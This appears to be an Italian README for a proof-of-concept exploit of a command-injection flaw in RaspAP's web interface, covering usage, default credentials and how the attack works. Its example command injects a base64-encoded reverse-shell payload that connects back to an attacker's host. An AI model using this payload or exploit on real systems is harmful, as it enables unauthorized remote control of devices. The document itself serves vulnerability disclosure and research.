CVE-2025-50428 - Iniezione di Comandi in RaspAP

Un proof-of-concept exploit per CVE-2025-50428, una vulnerabilità di iniezione di comandi in RaspAP raspap-webgui 3.2.9 e versioni precedenti.

Descrizione

Questo exploit prende di mira una vulnerabilità di iniezione di comandi nello script hostapd.php di RaspAP. La vulnerabilità è dovuta a una sanitizzazione impropria dell'input utente passato tramite il parametro interface. Un utente malintenzionato autenticato può iniettare comandi OS arbitrari, ottenendo l'esecuzione di codice con i privilegi dell'utente www-data.

Versioni Vulnerabili

• raspap-webgui ≤ 3.2.9

Requisiti

• Python 3.x
• libreria requests installata
• Target che esegue una versione vulnerabile di RaspAP
• Credenziali di accesso RaspAP valide

Utilizzo

python3 poc.py --base-url <url> --interface <payload> [--username <username>] [--password <password>]

Parametri

• --base-url: URL di base dell'installazione di RaspAP (es., http://192.168.122.22)
• --interface: Valore per il parametro interface, è consentito un payload di iniezione
• --username: Nome utente RaspAP (predefinito: admin)
• --password: Password RaspAP (predefinita: secret)

Esempio

python3 poc.py --base-url http://192.168.122.22 --interface "';echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMi4xLzEzMzcgMD4mMTs= | base64 -d | bash"

Come Funziona

1. Lo script si autentica all'interfaccia web di RaspAP utilizzando le credenziali fornite.
2. Recupera un token CSRF valido dal server.
3. Una richiesta POST viene inviata a hostapd.php con il parametro interface contenente un payload malevolo di iniezione di comandi.
4. I comandi iniettati vengono eseguiti sul sistema target con i privilegi di www-data.

Note

• L'exploit richiede credenziali valide.
• Un exploit riuscito consente l'esecuzione arbitraria di comandi, che può essere concatenata per l'escalation dei privilegi.

SmartTECS Cyber Security GmbH

SmartTECS Cyber Security GmbH è un'azienda di cybersecurity specializzata in penetration testing, sviluppo software sicuro e ricerca sulle vulnerabilità. L'azienda fornisce valutazioni della sicurezza su misura, servizi di incident response e consulenza strategica per aiutare le organizzazioni a proteggere i sistemi critici dalle minacce informatiche in evoluzione.

Dichiarazione di Non Responsabilità

Questo strumento è fornito esclusivamente a scopo educativo e di ricerca. Utilizzarlo solo su sistemi di propria proprietà o amministrati con esplicita autorizzazione. L'autore e SmartTECS Cyber Security GmbH declinano ogni responsabilità per usi impropri o danni.

Riferimenti

• https://nvd.nist.gov/vuln/detail/CVE-2025-50428